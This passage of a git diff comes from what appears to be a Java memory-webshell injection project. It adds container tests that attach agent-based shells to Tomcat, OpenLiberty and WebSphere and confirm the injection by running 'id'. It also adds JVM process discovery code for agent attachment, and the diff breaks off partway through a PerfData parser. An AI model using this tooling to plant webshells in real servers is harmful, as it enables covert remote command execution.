attachStdout = attachResult.getStdout();
|
||||
}
|
||||
}
|
||||
log.info("attach all output:\n{}", attachStdout);
|
||||
System.out.println("attach all stderr: " + attachResult.getStderr());
|
||||
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
|
||||
|
||||
// Test 3: Verify shell injection was successful
|
||||
String paramName = ((CommandConfig) shellToolConfig).getParamName();
|
||||
commandIsOk(shellUrl, shellType, paramName, "id");
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+9
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -13,6 +15,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -26,6 +29,7 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
||||
"reajason/websphere:7.0.0.21",
|
||||
"/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.env(Map.of("JAVA_OPTS", "-Xshareclasses:none"))
|
||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
@@ -46,4 +50,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testListProcessAndAttachAll() {
|
||||
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -18,7 +18,7 @@ import java.time.Duration;
|
||||
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
||||
.expectedJdkVersion("JRE|17.0.17|61")
|
||||
.expectedJdkVersion("JRE|17.0.18|61")
|
||||
.targetJdkVersion(Opcodes.V1_8)
|
||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.privilegedMode(true)
|
||||
|
||||
@@ -15,6 +15,7 @@
|
||||
*/
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.security.CodeSource;
|
||||
import java.security.PrivilegedAction;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.Collections;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||
@@ -91,6 +97,41 @@ public class Attacher {
|
||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Lists all discoverable Java processes on the local host.
|
||||
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||
* </p>
|
||||
* <p>
|
||||
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
|
||||
* in the system temporary folder and parsing PerfData binary files to extract
|
||||
* the main class name. OpenJ9 processes are discovered by scanning
|
||||
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
|
||||
* </p>
|
||||
* <p>
|
||||
* <b>Note</b>: Only processes accessible to the current user are listed.
|
||||
* Stale entries from crashed JVMs may appear. Processes started with
|
||||
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
|
||||
* </p>
|
||||
*
|
||||
* @return A list of discovered Java process descriptors.
|
||||
*/
|
||||
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||
Set<String> seenPids = new HashSet<String>();
|
||||
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||
if (seenPids.add(descriptor.getPid())) {
|
||||
processes.add(descriptor);
|
||||
}
|
||||
}
|
||||
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||
if (seenPids.add(descriptor.getPid())) {
|
||||
processes.add(descriptor);
|
||||
}
|
||||
}
|
||||
return processes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs a Java agent on a target VM.
|
||||
*
|
||||
@@ -928,4 +969,431 @@ public class Attacher {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Represents a discovered Java process on the local host.
|
||||
*/
|
||||
public static class JavaProcessDescriptor {
|
||||
|
||||
/**
|
||||
* The process ID.
|
||||
*/
|
||||
private final String pid;
|
||||
|
||||
/**
|
||||
* The main class name or JAR path, may be empty if unknown.
|
||||
*/
|
||||
private final String mainClass;
|
||||
|
||||
/**
|
||||
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
|
||||
*/
|
||||
private final String vmType;
|
||||
|
||||
/**
|
||||
* Creates a new Java process descriptor.
|
||||
*
|
||||
* @param pid The process ID.
|
||||
* @param mainClass The main class name or JAR path, may be empty if unknown.
|
||||
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||
*/
|
||||
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||
this.pid = pid;
|
||||
this.mainClass = mainClass;
|
||||
this.vmType = vmType;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the process ID.
|
||||
*
|
||||
* @return The process ID.
|
||||
*/
|
||||
public String getPid() {
|
||||
return pid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the main class name or JAR path. May be empty if unknown.
|
||||
*
|
||||
* @return The main class name.
|
||||
*/
|
||||
public String getMainClass() {
|
||||
return mainClass;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the JVM type identifier.
|
||||
*
|
||||
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||
*/
|
||||
public String getVmType() {
|
||||
return vmType;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
@Override
|
||||
public String toString() {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append(pid);
|
||||
if (mainClass.length() > 0) {
|
||||
sb.append(' ').append(mainClass);
|
||||
}
|
||||
sb.append(" (").append(vmType).append(')');
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
|
||||
* in the system temporary folder and parsing PerfData v2 binary files.
|
||||
*/
|
||||
private static class HotSpotProcessDiscovery {
|
||||
|
||||
/**
|
||||
* The PerfData magic number: {@code 0xcafec0c0}.
|
||||
*/
|
||||
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||
|
||||
/**
|
||||
* The directory name prefix for HotSpot PerfData user directories.
|
||||
*/
|
||||
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||
|
||||
/**
|
||||
* The PerfData entry name for the Java command line.
|
||||
*/
|
||||
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||
|
||||
/**
|
||||
* The data units value for STRING type entries.
|
||||
*/
|
||||
private static final byte UNITS_STRING = 5;
|
||||
|
||||
/**
|
||||
* Maximum PerfData file size to read (1 MB), as a safety bound.
|
||||
*/
|
||||
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||
|
||||
/**
|
||||
* Minimum PerfData file size (v2 prologue is 32 bytes).
|
||||
*/
|
||||
private static final int MIN_PERFDATA_SIZE = 32;
|
||||
|
||||
/**
|
||||
* The size of a PerfData v2 entry header in bytes.
|
||||
*/
|
||||
private static final int ENTRY_HEADER_SIZE = 20;
|
||||
|
||||
/**
|
||||
* Discovers all HotSpot JVM processes visible to the current user.
|
||||
*
|
||||
* @return A list of discovered HotSpot Java process descriptors.
|
||||
*/
|
||||
static List<JavaProcessDescriptor> discover() {
|
||||
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||
Set<String> seen = new HashSet<String>();
|
||||
for (File tmpDir : getTempDirectories()) {
|
||||
if (!tmpDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File[] userDirs = tmpDir.listFiles();
|
||||
if (userDirs == null) {
|
||||
continue;
|
||||
}
|
||||
for (File userDir : userDirs) {
|
||||
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||
continue;
|
||||
}
|
||||
File[] pidFiles = userDir.listFiles();
|
||||
if (pidFiles == null) {
|
||||
continue;
|
||||
}
|
||||
for (File pidFile : pidFiles) {
|
||||
String fileName = pidFile.getName();
|
||||
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||
continue;
|
||||
}
|
||||
if (!seen.add(fileName)) {
|
||||
continue;
|
||||
}
|
||||
String javaCommand = parsePerfData(pidFile);
|
||||
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the list of temporary directories to scan for HotSpot PerfData files.
|
||||
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||
* and also {@code java.io.tmpdir} if it differs.
|
||||
*
|
||||
* @return A list of temporary directories.
|
||||
*/
|
||||
private static List<File> getTempDirectories() {
|
||||
List<File> dirs = new ArrayList<File>();
|
||||
String osName = System.getProperty("os.name", "");
|
||||
if (osName.startsWith("Windows")) {
|
||||
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||
} else {
|
||||
dirs.add(new File("/tmp"));
|
||||
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||
dirs.add(new File(javaIoTmpDir));
|
||||
}
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses a HotSpot PerfData v2 binary file to extract the value of
|
||||
* {@code sun.rt.javaCommand}.
|
||||
* <p>
|
||||
* The PerfData v2 binary format consists of a 32-byte prologue followed
|
||||
* by a sequence of variable-length entries. Each entry contains a name
|
||||
* and a data value. This method iterates through entries looking for
|
||||
* the {@code sun.rt.javaCommand} entry.
|
||||
* </p>
|
||||
*
|
||||
* @param file The PerfData file to parse.
|
||||
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
|
||||
*/
|
||||
private static String parsePerfData(File file) {
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
fis = new FileInputStream(file);
|
||||
long fileLength = file.length();
|
||||
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||
return "";
|
||||
}
|
||||
byte[] data = new byte[(int) fileLength];
|
||||
int totalRead = 0;
|
||||
int bytesRead;
|
||||
while (totalRead < data.length
|
||||
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||
totalRead += bytesRead;
|
||||
}
|
||||
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||
return "";
|
||||
}
|
||||
|
||||
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||
// Magic number is always stored in big-endian
|
||||
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||
int magic = buffer.getInt(); // offset 0
|
||||
if (magic != PERFDATA_MAGIC) {
|
||||
return "";
|
||||
}
|
||||
|
||||
byte byteOrder = buffer.get(); // offset 4
|
||||
if (byteOrder == 1) {
|
||||
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||
}
|
||||
|
||||
byte majorVersion = buffer.get(); // offset 5
|
||||
buffer.get(); // offset 6: minor version
|
||||
buffer.get(); // offset 7: accessible / reserved
|
||||
|
||||
if (majorVersion < 2) {
|
||||
// Only PerfData v2 format is supported
|
||||
return "";
|
||||
}
|
||||
|
||||
// v2 prologue fields
|
||||
buffer.getInt(); // offset 8: used
|
||||
buffer.getInt(); // offset 12: overflow
|
||||
buffer.getLong(); // offset 16: mod_time_stamp
|
||||
int entryOffset = buffer.getInt(); // offset 24: entry_offset
|
||||
int numEntries = buffer.getInt(); // offset 28: num_entries
|
||||
|
||||
// Iterate through PerfData entries
|
||||
int pos = entryOffset;
|
||||
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||
buffer.position(pos);
|
||||
int entryLength = buffer.getInt();
|
||||
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||
break;
|
||||
}
|
||||
|
||||
int nameOffset = buffer.getInt();
|
||||
buffer.getInt(); // vector_length
|
||||
buffer.get(); // data_type
|
||||
buffer.get(); // flags
|
||||
byte dataUnits = buffer.get(); // data_units
|
||||
buffer.get(); // data_variability
|
||||
int dataOffset = buffer.getInt();
|
||||
|
||||
// Read the entry name (null-terminated UTF-8 string)
|
||||
int nameStart = pos + nameOffset;
|
||||
if (nameStart < 0 || nameStart >= totalRead) {
|
||||
pos += entryLength;
|
||||
continue;
|
||||
}
|
||||
int nameEnd = nameStart;
|
||||
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||
nameEnd++;
|
||||
}
|
||||
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||
|
||||
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||
// Read the string value
|
||||
int dataStart = pos + dataOffset;
|
||||
if (dataStart < 0 || dataStart >= totalRead) {
|
||||
return "";
|
||||
}
|
||||
